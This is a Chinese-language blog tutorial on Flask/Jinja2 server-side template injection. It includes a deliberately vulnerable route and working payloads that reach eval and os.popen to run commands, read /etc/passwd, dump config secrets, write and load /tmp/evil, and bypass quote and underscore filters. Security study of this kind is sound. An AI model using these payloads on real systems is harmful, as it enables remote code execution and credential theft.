flask ssti模板注入

关于flask ssti模板注入

jinja2

Jinja 2是一种面向Python的现代和设计友好的模板语言,它是Flask框架的一部分
Jinja有两种定界符。{% ... %}{{ ... }}:

  • {{ ... }} 用于存放变量
  • ,{% ... %} 用来执行函数或者逻辑代码

前者用于执行像for循环或赋值等语句,后者向模板输出一个表达式的结果。

漏洞原理

1
2
3
4
5
6
7
8
9
10
11
12
from flask import Flask, render_template_string, request

app = Flask(__name__)


@app.route('/', methods=["GET", "POST"])
def hello_world():
strings = "Hello %s" % request.form.get("ssti")
return render_template_string(strings)

if __name__ == '__main__':
app.run()

这里的strings是由我们可控的,那么就可以直接写入jinja2的模板语言,例如:?ssti={{2*6}},此时造成了模板注入。

jinja2的模板中执行python代码

jinja2中是可以直接访问python的一些对象及其方法的,如字符串对象及其upper函数、列表对象及其count函数、字典对象及其has_key函数。

那么如何在 Jinja2 的模板中执行 Python 代码呢?如官方的说法是需要在模板环境中注册函数才能在模板中进行调用,例如想要在模板中直接调用内置模块os,即需要在模板环境中对其注册
那么,如何在未注册OS模块的情况下在模板中调用popen()函数执行系统命令呢?前面已经说了,在 Jinja2 中模板能够访问 Python 中的内置变量并且可以调用对应变量类型下的方法,用到常见的 Python 沙盒环境逃逸方法

python2中用file对象读取文件

不能像字符串对象,列表对象那样直接引用(‘’ []),那如何拿到file对象呢?就用上面给的属性和方法,如:

1
2
3
4
5
6
7
# ''.__class__  ==> <class 'str'>
# ''.__class__.__base__ ==> <class 'object'>
# ''.__class__.__base__.__subclasses__() ==> 所有继承自object的类,包括file
for c in ''.__class__.__base__.__subclasses__():
if(c.__name__=='file'):
f = c("test.txt") # 利用file的构造方法创建一个file对象
print f.readlines() # 利用file对象的方法读取文件

转换成jinja2的语法就是:

1
2
3
4
5
{% for c in ''.__class__.__base__.__subclasses__() %}
{% if c.__name__=='file' %}
{{ c("/etc/passwd").readlines() }}
{% endif %}
{% endfor %}

寻找__builtins__得到eval

1
2
3
for c in ().__class__.__bases__[0].__subclasses__():
if c.__name__=='_IterationGuard':
c.__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")

转换成jinja2语法为:(执行命令使用os.popen(‘whoami’).read()才有执行结果的回显)

1
2
3
4
5
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='_IterationGuard' %}
{{ c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()") }}
{% endif %}
{% endfor %}

其实上面的语句可以转换成一句话:

1
2
3
4
5
python3:
().__class__.__bases__[0].__subclasses__()[64].__init__.__globals__['__builtins__']['eval']("__import__('os').popen("id").read()")

python2:
().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen("id").read()")

直接从globals中寻找eval

1
2
3
4
5
6
7
8
9
10
11
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

还可以结合python沙盒绕过的方法来构造payload

结合Flask内置变量

读取敏感信息

flask内部存在request,config等全局变量,都可以通过ssti得到。

  1. request
    request.environ 请求上下文信息
    request.environ['werkzeug.server.shutdown']() 关闭运行服务器

  2. config
    所有的配置值 数据库连接字符串,第三方服务凭据,SECRET_KEY等,是一个字典

    1
    2
    3
    {{ config }}   获取所有配置信息
    {{ config.items() }} 查看配置
    {{ config.root_path }} 查看文件所在的绝对路径
  3. url_for
    url_for.__globals__['current_app'] 当前app
    url_for.__globals__['current_app'].config 获取当前app的config

  4. get_flashed_messages
    返回之前在Flask中通过 flash() 传入的闪现信息列表。
    get_flashed_messages.__globals__['current_app'] 当前app
    get_flashed_messages.__globals__['current_app'].config 获取当前app的config

利用config.from_pyfile加载自定义模块

config.from_pyfile()可以加载文件,将键名为大写的键值对更新到当前环境的config对象中.

因此,可以通过写文件写入特殊内容,然后再使用config.from_myfile加载到config中

  1. 写入文件
    1
    {{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evil', 'w').write('from os import system%0aCMD = system') }}
  2. 使用config.from_file加载文件
    1
    {{ config.from_pyfile('/tmp/evil') }}
  3. 使用设置的config变量
    1
    {{ config['CMD']("ls") }}

绕过过滤

过滤引号

  1. 先获取chr函数,赋值给chr,之后再进行字符串拼接
    1
    {% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)).read() }}
  2. 借助request对象
    1
    {{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read() }}
    GET传入path=/etc/passwd

过滤双下划线

同样界注入request对象

1
{{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}

GET传入class=__class__&mro=__mro__&subclasses=__subclasses__

过滤

文章作者: Dar1in9
文章链接: http://dar1in9s.github.io/2020/03/20/python/flask_ssti模板注入/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Dar1in9's Blog